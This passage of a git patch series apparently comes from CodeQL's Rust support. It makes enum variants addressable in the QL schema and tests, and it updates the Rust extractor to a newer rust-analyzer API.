3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4 lib/codeql/rust/elements/internal/generated/Path.qll 8e47e91aff3f8c60f1ee8cb3887b8e4936c38e4665d052f2c92a939a969aac29 2c28beb89cabd7c7c91a5bc65c874f414cb96bbefde37b25811b61089a8a0053 @@ -597,7 +597,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbff lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll 8b48d680c3258f72c0a851241aba6516a72c0abfdd3821c32bac616adb41a343 570b1af27eae2e01fe91aa9da74a8ad56c37bf5d80df14cd3bef17ab5c4414f8 +lib/codeql/rust/elements/internal/generated/Raw.qll 46dad2d8b266cf34ec0efcee65fe7da399c8681f892b0cf37ce2b80d9781ea22 31c03bf0968a89e334bc3c98d442d0a01193cac28b80718bf424d32665f5a473 lib/codeql/rust/elements/internal/generated/RecordFieldList.qll 4a23b0d75a90671197246dbbb4e62706c180074abb8ebe60a96df11c47a917a2 09be127977651a24010b090d9681714d83ebd461098f9cf0e0d1973cafb1c782 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 @@ -623,7 +623,7 @@ lib/codeql/rust/elements/internal/generated/StructField.qll d3eca4a20ae50c9396fd lib/codeql/rust/elements/internal/generated/StructPat.qll c76fa005c2fd0448a8803233e1e8818c4123301eb66ac5cf69d0b9eaafc61e98 6e0dffccdce24bca20e87d5ba0f0995c9a1ae8983283e71e7dbfcf6fffc67a58 lib/codeql/rust/elements/internal/generated/StructPatField.qll 285530e9b73d51b3921984e344a9a944afc68c6d83fba7ee1d63345de455208f 17985cea91de1ed21e53e8c0fdb6382768cc57c5b79856dab3bc03cf1c323df9 lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll e34c003e660ba059ba81bb73b3c8d21bd2a47d0251569c46277dc9ccf2947b0a 85113f35ba5f6b9e01ad4072246a4de1ac0e4528348ac564868e96f34a3e09e2 -lib/codeql/rust/elements/internal/generated/Synth.qll 6922cc1a9941301a57efe30f94fe51aa72de16c7adf3f75a2d49008066fd35f1 fa47d8290645d6b50c468f714c730e789c4b9524835ae24ea6ddf5767e5ca329 +lib/codeql/rust/elements/internal/generated/Synth.qll ae5702e53d576dccdffa398e2142a696361e70f2fca40c10a3c976f3e4ff1fff ab4d20c73b4668ea0e1103a8a54ba7f39030795df7b9ee010109f15d50999bd2 lib/codeql/rust/elements/internal/generated/SynthConstructors.qll e4298dc8e52d56672d91df093cc858105b5072be4ae5bed95105e0ffd80e7233 e4298dc8e52d56672d91df093cc858105b5072be4ae5bed95105e0ffd80e7233 lib/codeql/rust/elements/internal/generated/Token.qll 77a91a25ca5669703cf3a4353b591cef4d72caa6b0b9db07bb9e005d69c848d1 2fdffc4882ed3a6ca9ac6d1fb5f1ac5a471ca703e2ffdc642885fa558d6e373b lib/codeql/rust/elements/internal/generated/TokenTree.qll 8577c2b097c1be2f0f7daa5acfcf146f78674a424d99563e08a84dd3e6d91b46 d2f30764e84dbfc0a6a5d3d8a5f935cd432413688cb32da9c94e420fbc10665c @@ -651,7 +651,7 @@ lib/codeql/rust/elements/internal/generated/UseBoundGenericArg.qll 69162794e8712 lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll 05dca015d922935887856f3a0d577dbcf5b8f82bc384bdc9c8c2d0106419716d fcee14ed4f7a639b1ba721bd390fc0cdbfdc7c759e3092aa462d466fe390de45 lib/codeql/rust/elements/internal/generated/UseTree.qll 15b84e3a194959aef793cd0c16b3d2d21ee5822e2d26186b5d73f922325c2827 49c409a7b82c1099436fbe3bd041d35dcd23169d58d31fbd718f6deb96fb7318 lib/codeql/rust/elements/internal/generated/UseTreeList.qll 829441cf309f008a6a9d2e784aa414ab4c11880a658f8ee71aa4df385cd2b6a8 ced82df94fea7a191f414f7e6496d13791d2f535046844b6f712a390663ac3d0 -lib/codeql/rust/elements/internal/generated/Variant.qll a1ace4d693555534a04e58beb3cb6b631c04a6104edd1949abe4ab168fa4b521 6088ef8cf813cbf1bf580f7369402956f78a9f1c2bb93384775872207ccb5f09 +lib/codeql/rust/elements/internal/generated/Variant.qll b0be3cd76ac17655c683f384eafc9263e241068a85ca7e905675b2b7e9121b29 6f1b2ad719342bab0cb770d318e84c227de66e65838c33642aa5ac1a836883f8 lib/codeql/rust/elements/internal/generated/VariantDef.qll 3a579b21a13bdd6be8cddaa43a6aa0028a27c4e513caa003a6304e160fc53846 1ca1c41ed27660b17fbfb44b67aa8db087ea655f01bac29b57bb19fa259d07a2 lib/codeql/rust/elements/internal/generated/VariantList.qll 4eb923ca341033c256ca9b8a8a5b4e14c7eac9d015be187fd97eeb25dfb1e18e e7865e975c35db49cd72cb8f9864797d3cfed16c3a675b5032b867ced2bbb405 lib/codeql/rust/elements/internal/generated/Visibility.qll aba81820f30bed0fd2cd06831f7256af15ae32525b2a437896420b4cc067ea38 d6aed90b27124b812daf2ddd14b4e181277cbe638b4ccaab74e27681ac30e4ab @@ -1201,9 +1201,11 @@ test/extractor-tests/generated/UseTree/UseTree_getRename.ql ec3917501f3c89ac4974 test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.ql c265a88347e813840969ae934dfd2904bc06f502de77709bc0b1c7255e46382a 52a239c8ea5fd8fbfbd606559d70ecadc769887437a9bcab6fb3e774208ad868 test/extractor-tests/generated/UseTreeList/UseTreeList.ql cd943c15c86e66244caafeb95b960a5c3d351d5edbd506258744fb60a61af3b2 cfa584cd9d8aa08267fd1106745a66226b2c99fadd1da65059cc7ecf2f2e68cf test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.ql dd72966b1cb7b04f0267503013809063fcfb145e2b2d7d5250d9f24d2e405f9a 75b953aa11c51ca0fe95e67d50d6238962d8df4a4b9054999a2c6338e5a5613d -test/extractor-tests/generated/Variant/Variant.ql bf9b928ab3b1911e6c81fdc3fb9811e754ea28bfd0e4a21dca08b844aa42c3f1 bffd4bcc5019f721010722453985b39a4285240774e474e233ebe46f1cd5beb1 +test/extractor-tests/generated/Variant/Variant.ql c60dd31adac91e09f8b1e5523d6b859747e64ef072c077b5a3326763f9f461f7 55d6446a3a831ed1137264678c5df027eb94cb3570a88d364994851fe6236999 test/extractor-tests/generated/Variant/Variant_getAttr.ql dd38e48e1eb05ce280b880652a90010eb63f7de3be7232411ba6265691249420 f8980680104de1e5fd40f264d8d62346aacaf6403a5e051f6fd680e234c82c1f +test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql 99e79930f8ff87a25f256926e5c3ce1ee0847daf6fadc5445fb33c85328b4c61 2dd64a53813790654c83be25b5e175c9c5b388e758723c2138fff095353fdd7b test/extractor-tests/generated/Variant/Variant_getExpr.ql ce00af303d28f60c5fd1dc7df628c7974aced21884e223a2f656cb4f0d1a74d5 9de51a65510cf9a15801d4207b616915bd959c95ec7330fdb502c5dff5b650cc +test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql fe6a4bfd1440e7629d47283910de84c5e8c2f5645512780e710f53540b5bc886 b1e31b765cb1a5fe063abb8c1b2115e881ae28aa3ccd39e088ff8f2af20d6cf4 test/extractor-tests/generated/Variant/Variant_getFieldList.ql 083c8cf61989663de33d99b72dec231c308ccc8bb6739921465c473a07e8ea03 d03bff6945853c940acdc053b813d53b008ddab9a8bd4307826433828d4763ce test/extractor-tests/generated/Variant/Variant_getName.ql 0d7b47bec9f9031c67f7b684112a84a311ef9b2efeb260bd7cd6f424011ca0d8 73565e6f965dd7fd7bb9b3408c7d7b69120e1971b67ab307fed293eb663a59ae test/extractor-tests/generated/Variant/Variant_getVisibility.ql 2c8f365d28d96af55589f4d71ac3fee718b319b4cbc784560c0591d1f605a119 13160d9cf39fe169410eff6c338f5d063e1948109e8f18dd33ea0064f1dd9283 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 2972ba9ed0c..2ccfa520236 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -1205,7 +1205,9 @@ /test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.ql linguist-generated /test/extractor-tests/generated/Variant/Variant.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getAttr.ql linguist-generated +/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getExpr.ql linguist-generated +/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getFieldList.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getName.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getVisibility.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/elements/Variant.qll b/rust/ql/lib/codeql/rust/elements/Variant.qll index 3e8eaa632f8..ab9d391f44a 100644 --- a/rust/ql/lib/codeql/rust/elements/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/Variant.qll @@ -4,6 +4,7 @@ */ private import internal.VariantImpl +import codeql.rust.elements.Addressable import codeql.rust.elements.Attr import codeql.rust.elements.Expr import codeql.rust.elements.FieldList diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll index 41213922722..fa00fe88ddc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll @@ -3063,13 +3063,15 @@ private module Impl { private Element getImmediateChildOfVariant(Variant e, int index, string partialPredicateCall) { exists( - int b, int bVariantDef, int n, int nAttr, int nExpr, int nFieldList, int nName, - int nVisibility + int b, int bVariantDef, int bAddressable, int n, int nAttr, int nExpr, int nFieldList, + int nName, int nVisibility | b = 0 and bVariantDef = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfVariantDef(e, i, _)) | i) and - n = bVariantDef and + bAddressable = + bVariantDef + 1 + max(int i | i = -1 or exists(getImmediateChildOfAddressable(e, i, _)) | i) and + n = bAddressable and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and nExpr = nAttr + 1 and nFieldList = nExpr + 1 and @@ -3080,6 +3082,8 @@ private module Impl { or result = getImmediateChildOfVariantDef(e, index - b, partialPredicateCall) or + result = getImmediateChildOfAddressable(e, index - bVariantDef, partialPredicateCall) + or result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" or diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 937529405f9..48711322567 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -3125,7 +3125,7 @@ module Raw { * todo!() * ``` */ - class Variant extends @variant, VariantDef { + class Variant extends @variant, VariantDef, Addressable { override string toString() { result = "Variant" } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll index 6dbd5049b80..d6430eff305 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll @@ -686,7 +686,7 @@ module Synth { /** * INTERNAL: Do not use. */ - class TAddressable = TItem; + class TAddressable = TItem or TVariant; /** * INTERNAL: Do not use. @@ -1858,7 +1858,11 @@ module Synth { * INTERNAL: Do not use. * Converts a raw DB element to a synthesized `TAddressable`, if possible. */ - TAddressable convertAddressableFromRaw(Raw::Element e) { result = convertItemFromRaw(e) } + TAddressable convertAddressableFromRaw(Raw::Element e) { + result = convertItemFromRaw(e) + or + result = convertVariantFromRaw(e) + } /** * INTERNAL: Do not use. @@ -3454,7 +3458,11 @@ module Synth { * INTERNAL: Do not use. * Converts a synthesized `TAddressable` to a raw DB element, if possible. */ - Raw::Element convertAddressableToRaw(TAddressable e) { result = convertItemToRaw(e) } + Raw::Element convertAddressableToRaw(TAddressable e) { + result = convertItemToRaw(e) + or + result = convertVariantToRaw(e) + } /** * INTERNAL: Do not use. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll index d09506da85c..73c15601163 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll @@ -6,6 +6,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw +import codeql.rust.elements.internal.AddressableImpl::Impl as AddressableImpl import codeql.rust.elements.Attr import codeql.rust.elements.Expr import codeql.rust.elements.FieldList @@ -26,7 +27,7 @@ module Generated { * INTERNAL: Do not reference the `Generated::Variant` class directly. * Use the subclass `Variant`, where the following predicates are available. */ - class Variant extends Synth::TVariant, VariantDefImpl::VariantDef { + class Variant extends Synth::TVariant, VariantDefImpl::VariantDef, AddressableImpl::Addressable { override string getAPrimaryQlClass() { result = "Variant" } /** diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index a565ea26d2d..89e67e90eec 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -279,6 +279,7 @@ abi_abi_strings( @addressable = @item +| @variant ; #keyset[id] diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant.ql index 2cbcd20cbf0..92ebcbe55ee 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant.ql +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant.ql @@ -3,15 +3,22 @@ import codeql.rust.elements import TestUtils from - Variant x, int getNumberOfAttrs, string hasExpr, string hasFieldList, string hasName, - string hasVisibility + Variant x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, + string hasExpr, string hasFieldList, string hasName, string hasVisibility where toBeTested(x) and not x.isUnknown() and + ( + if x.hasExtendedCanonicalPath() + then hasExtendedCanonicalPath = "yes" + else hasExtendedCanonicalPath = "no" + ) and + (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and (if x.hasFieldList() then hasFieldList = "yes" else hasFieldList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" -select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasFieldList:", hasFieldList, +select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, + "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasFieldList:", hasFieldList, "hasName:", hasName, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql new file mode 100644 index 00000000000..0acfd9827fe --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Variant x +where toBeTested(x) and not x.isUnknown() +select x, x.getCrateOrigin() diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql new file mode 100644 index 00000000000..ad8aaf86a5c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Variant x +where toBeTested(x) and not x.isUnknown() +select x, x.getExtendedCanonicalPath() diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 68d2c1a7736..cd583119f81 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1795,7 +1795,7 @@ class _: """ -@annotate(Variant, replace_bases={AstNode: Addressable}) +@annotate(Variant, add_bases=(Addressable,)) class _: """ A Variant. For example: From fe7e1c0a6c5822c97de7b16303f97882d6a23b2a Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 20 Mar 2025 17:49:35 +0100 Subject: [PATCH 045/282] Rust: solve all compilation errors but the ones related to the crate graph --- rust/extractor/src/config.rs | 3 +-- rust/extractor/src/crate_graph.rs | 19 ++++++++++--------- rust/extractor/src/rust_analyzer.rs | 8 ++++---- rust/extractor/src/translate/base.rs | 10 +++++----- 4 files changed, 20 insertions(+), 20 deletions(-) diff --git a/rust/extractor/src/config.rs b/rust/extractor/src/config.rs index f6e3b877f35..e66d54807be 100644 --- a/rust/extractor/src/config.rs +++ b/rust/extractor/src/config.rs @@ -213,8 +213,7 @@ fn to_cfg_overrides(specs: &Vec) -> CfgOverrides { } let enabled_cfgs = enabled_cfgs.into_iter().collect(); let disabled_cfgs = disabled_cfgs.into_iter().collect(); - let global = CfgDiff::new(enabled_cfgs, disabled_cfgs) - .expect("There should be no duplicate cfgs by construction"); + let global = CfgDiff::new(enabled_cfgs, disabled_cfgs); CfgOverrides { global, ..Default::default() diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index 75c0113a45d..64db4778d94 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -402,7 +402,7 @@ fn emit_adt( ); } ra_ap_hir_def::AdtId::EnumId(enum_id) => { - let data = db.enum_data(enum_id); + let data = db.enum_variants(enum_id); let variants = data .variants .iter() @@ -480,13 +480,13 @@ fn emit_trait( visibility: Visibility, ) -> Vec> { let mut items = Vec::new(); - let data = db.trait_data(trait_id); + let data = db.trait_items(trait_id); let assoc_items: Vec> = data .items .iter() .flat_map(|(name, item)| { if let AssocItemId::FunctionId(function) = item { - let sig = db.callable_item_signature((*function).into()); + let sig = db.callable_item_signature(function.clone().into()); let sig = sig.skip_binders(); let params = sig .params() @@ -582,11 +582,11 @@ fn emit_module_impls( module.scope.impls().for_each(|imp| { let self_ty = db.impl_self_ty(imp); let self_ty = emit_hir_ty(trap, crate_graph, db, self_ty.skip_binders()); - let imp = db.impl_data(imp); - let trait_ = imp + let imp_data = db.impl_data(imp); + let trait_ = imp_data .target_trait .as_ref() - .and_then(|t| make_qualified_path(trap, emit_hir_path(&imp.types_map[t.path]))); + .and_then(|t| make_qualified_path(trap, emit_hir_path(&imp_data.types_map[t.path]))); let trait_ = trait_.map(|trait_| { trap.emit(generated::PathTypeRepr { id: trap::TrapId::Star, @@ -594,12 +594,13 @@ fn emit_module_impls( }) .into() }); - let assoc_items = imp + let imp_items = db.impl_items(imp); + let assoc_items = imp_items .items .iter() .flat_map(|item| { if let (name, AssocItemId::FunctionId(function)) = item { - let sig = db.callable_item_signature((*function).into()); + let sig = db.callable_item_signature(function.clone().into()); let sig = sig.skip_binders(); let params = sig .params() @@ -631,7 +632,7 @@ fn emit_module_impls( id: trap::TrapId::Star, text: Some(name.as_str().to_owned()), })); - let data = db.function_data(*function); + let data = db.function_data(function.clone()); let visibility = emit_visibility( crate_graph, db, diff --git a/rust/extractor/src/rust_analyzer.rs b/rust/extractor/src/rust_analyzer.rs index ee509c6fae7..25d2f44eb44 100644 --- a/rust/extractor/src/rust_analyzer.rs +++ b/rust/extractor/src/rust_analyzer.rs @@ -1,5 +1,5 @@ use itertools::Itertools; -use ra_ap_base_db::SourceDatabase; +use ra_ap_base_db::{EditionedFileId, RootQueryDb, SourceDatabase}; use ra_ap_hir::Semantics; use ra_ap_ide_db::RootDatabase; use ra_ap_load_cargo::{LoadCargoConfig, load_workspace_at}; @@ -7,7 +7,7 @@ use ra_ap_paths::{AbsPath, Utf8PathBuf}; use ra_ap_project_model::ProjectManifest; use ra_ap_project_model::{CargoConfig, ManifestPath}; use ra_ap_span::Edition; -use ra_ap_span::EditionedFileId; +use ra_ap_span::EditionedFileId as SpanEditionedFileId; use ra_ap_span::TextRange; use ra_ap_span::TextSize; use ra_ap_syntax::SourceFile; @@ -73,7 +73,7 @@ impl<'a> RustAnalyzer<'a> { if let Some(file_id) = path_to_file_id(path, vfs) { if let Ok(input) = std::panic::catch_unwind(|| semantics.db.file_text(file_id)) { - let file_id = EditionedFileId::current_edition(file_id); + let file_id = EditionedFileId::new(semantics.db, SpanEditionedFileId::current_edition(file_id)); let source_file = semantics.parse(file_id); let errors = semantics .db @@ -84,7 +84,7 @@ impl<'a> RustAnalyzer<'a> { return ParseResult { ast: source_file, - text: input, + text: input.text(semantics.db), errors, semantics_info: Ok(FileSemanticInformation { file_id, semantics }), }; diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index e0e3946da48..a908f9ee993 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -4,8 +4,8 @@ use crate::rust_analyzer::FileSemanticInformation; use crate::trap::{DiagnosticSeverity, TrapFile, TrapId}; use crate::trap::{Label, TrapClass}; use itertools::Either; -use ra_ap_base_db::CrateOrigin; -use ra_ap_base_db::ra_salsa::InternKey; +use ra_ap_base_db::{CrateOrigin, EditionedFileId}; +use ra_ap_base_db::salsa::plumbing::AsId; use ra_ap_hir::db::ExpandDatabase; use ra_ap_hir::{ Adt, Crate, ItemContainer, Module, ModuleDef, PathResolution, Semantics, Type, Variant, @@ -16,7 +16,7 @@ use ra_ap_hir_expand::ExpandTo; use ra_ap_ide_db::RootDatabase; use ra_ap_ide_db::line_index::{LineCol, LineIndex}; use ra_ap_parser::SyntaxKind; -use ra_ap_span::{EditionedFileId, TextSize}; +use ra_ap_span::TextSize; use ra_ap_syntax::ast::HasName; use ra_ap_syntax::{ AstNode, NodeOrToken, SyntaxElementChildren, SyntaxError, SyntaxNode, SyntaxToken, TextRange, @@ -148,7 +148,7 @@ impl<'a> Translator<'a> { if let Some(semantics) = self.semantics.as_ref() { let file_range = semantics.original_range(node.syntax()); let file_id = self.file_id?; - if file_id == file_range.file_id { + if file_id.file_id(semantics.db) == file_range.file_id { Some(file_range.range) } else { None @@ -401,7 +401,7 @@ impl<'a> Translator<'a> { fn canonical_path_from_hir_module(&self, item: Module) -> Option { if let Some(block_id) = ModuleId::from(item).containing_block() { // this means this is a block module, i.e. a virtual module for a block scope - return Some(format!("{{{}}}", block_id.as_intern_id())); + return Some(format!("{{{}}}", block_id.as_id().as_u32())); } if item.is_crate_root() { return Some("crate".into()); From cf8e270384a8a315426eb812caf2bdc9b9bc665a Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 20 Mar 2025 19:08:10 +0100 Subject: [PATCH 046/282] Rust: fix crate_graph.rs --- rust/extractor/src/crate_graph.rs | 221 ++++++++++-------------------- 1 file changed, 75 insertions(+), 146 deletions(-) diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index 64db4778d94..ae2271c8233 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -7,9 +7,7 @@ use chalk_ir::Scalar; use chalk_ir::UintTy; use chalk_ir::{FloatTy, Safety}; use itertools::Itertools; -use ra_ap_base_db::CrateGraph; -use ra_ap_base_db::CrateId; -use ra_ap_base_db::SourceDatabase; +use ra_ap_base_db::{Crate, RootQueryDb}; use ra_ap_cfg::CfgAtom; use ra_ap_hir::{DefMap, ModuleDefId, db::HirDatabase}; use ra_ap_hir::{VariantId, Visibility, db::DefDatabase}; @@ -30,7 +28,7 @@ use std::{hash::Hash, vec}; use tracing::{debug, error}; pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootDatabase, vfs: &Vfs) { - let crate_graph = db.crate_graph(); + let crate_graph = db.all_crates(); // According to the documentation of `CrateGraph`: // Each crate is defined by the `FileId` of its root module, the set of enabled @@ -39,18 +37,17 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData // First compute a hash map with for each crate ID, the path to its root module and a hash of all // its `cfg` flags and dependencies hashes. Iterate in topological order to ensure hashes of dependencies // are present in the map. - let mut crate_id_map = HashMap::::new(); - for krate_id in crate_graph.crates_in_topological_order() { - let krate = &crate_graph[krate_id]; + let mut crate_id_map = HashMap::::new(); + for krate_id in crate_graph.as_ref().iter() { + let krate = krate_id.data(db); let root_module_file: &VfsPath = vfs.file_path(krate.root_file_id); if let Some(root_module_file) = root_module_file .as_path() .map(|p| std::fs::canonicalize(p).unwrap_or(p.into())) { let mut hasher = std::hash::DefaultHasher::new(); - krate - .cfg_options - .as_ref() + krate_id + .cfg_options(db) .into_iter() .sorted_by(cmp_flag) .for_each(|x| format!("{x}").hash(&mut hasher)); @@ -62,11 +59,11 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData .sorted() .for_each(|x| x.hash(&mut hasher)); let hash = hasher.finish(); - crate_id_map.insert(krate_id, (root_module_file, hash)); + crate_id_map.insert(*krate_id, (root_module_file, hash)); } } // Extract each crate - for krate_id in crate_graph.iter() { + for krate_id in crate_graph.as_ref().iter() { if let Some((root_module_file, hash)) = crate_id_map.get(&krate_id) { let path = root_module_file.join(format!("{hash:0>16x}")); let mut trap = trap_provider.create("crates", path.as_path()); @@ -76,11 +73,10 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData if trap.path.exists() { continue; } - let krate = &crate_graph[krate_id]; + let krate = krate_id.data(db); let root_module = emit_module( - &crate_graph, db, - db.crate_def_map(krate_id).as_ref(), + db.crate_def_map(*krate_id).as_ref(), "crate", DefMap::ROOT, &mut trap, @@ -99,17 +95,17 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData }) .collect(); + let krate_extra = krate_id.extra_data(db); let element = generated::Crate { id: trap::TrapId::Key(format!("{}:{hash}", root_module_file.display())), - name: krate + name: krate_extra .display_name .as_ref() .map(|x| x.canonical_name().to_string()), - version: krate.version.to_owned(), + version: krate_extra.version.to_owned(), module: Some(root_module), - cfg_options: krate - .cfg_options - .as_ref() + cfg_options: krate_id + .cfg_options(db) .into_iter() .map(|x| format!("{x}")) .collect(), @@ -131,7 +127,6 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData } fn emit_module( - crate_graph: &CrateGraph, db: &dyn HirDatabase, map: &DefMap, name: &str, @@ -140,9 +135,9 @@ fn emit_module( ) -> trap::Label { let module = &map.modules[module]; let mut items = Vec::new(); - items.extend(emit_module_children(crate_graph, db, map, module, trap)); - items.extend(emit_module_items(crate_graph, db, module, trap)); - items.extend(emit_module_impls(crate_graph, db, module, trap)); + items.extend(emit_module_children(db, map, module, trap)); + items.extend(emit_module_items(db, module, trap)); + items.extend(emit_module_impls(db, module, trap)); let name = trap.emit(generated::Name { id: trap::TrapId::Star, @@ -153,7 +148,7 @@ fn emit_module( attrs: vec![], items, }); - let visibility = emit_visibility(crate_graph, db, trap, module.visibility); + let visibility = emit_visibility(db, trap, module.visibility); trap.emit(generated::Module { id: trap::TrapId::Star, name: Some(name), @@ -164,7 +159,6 @@ fn emit_module( } fn emit_module_children( - crate_graph: &CrateGraph, db: &dyn HirDatabase, map: &DefMap, module: &ModuleData, @@ -174,12 +168,11 @@ fn emit_module_children( .children .iter() .sorted_by(|a, b| Ord::cmp(&a.0, &b.0)) - .map(|(name, child)| emit_module(crate_graph, db, map, name.as_str(), *child, trap).into()) + .map(|(name, child)| emit_module(db, map, name.as_str(), *child, trap).into()) .collect() } fn emit_module_items( - crate_graph: &CrateGraph, db: &dyn HirDatabase, module: &ModuleData, trap: &mut TrapFile, @@ -196,37 +189,16 @@ fn emit_module_items( { match value { ModuleDefId::FunctionId(function) => { - items.extend(emit_function( - crate_graph, - db, - name.as_str(), - trap, - function, - vis, - )); + items.extend(emit_function(db, name.as_str(), trap, function, vis)); } ModuleDefId::ConstId(konst) => { - items.extend(emit_const(crate_graph, db, name.as_str(), trap, konst, vis)); + items.extend(emit_const(db, name.as_str(), trap, konst, vis)); } ModuleDefId::StaticId(statik) => { - items.extend(emit_static( - crate_graph, - db, - name.as_str(), - trap, - statik, - vis, - )); + items.extend(emit_static(db, name.as_str(), trap, statik, vis)); } ModuleDefId::EnumVariantId(variant_id) => { - items.extend(emit_enum_variant( - crate_graph, - db, - name.as_str(), - trap, - variant_id, - vis, - )); + items.extend(emit_enum_variant(db, name.as_str(), trap, variant_id, vis)); } _ => (), } @@ -239,17 +211,10 @@ fn emit_module_items( { match type_id { 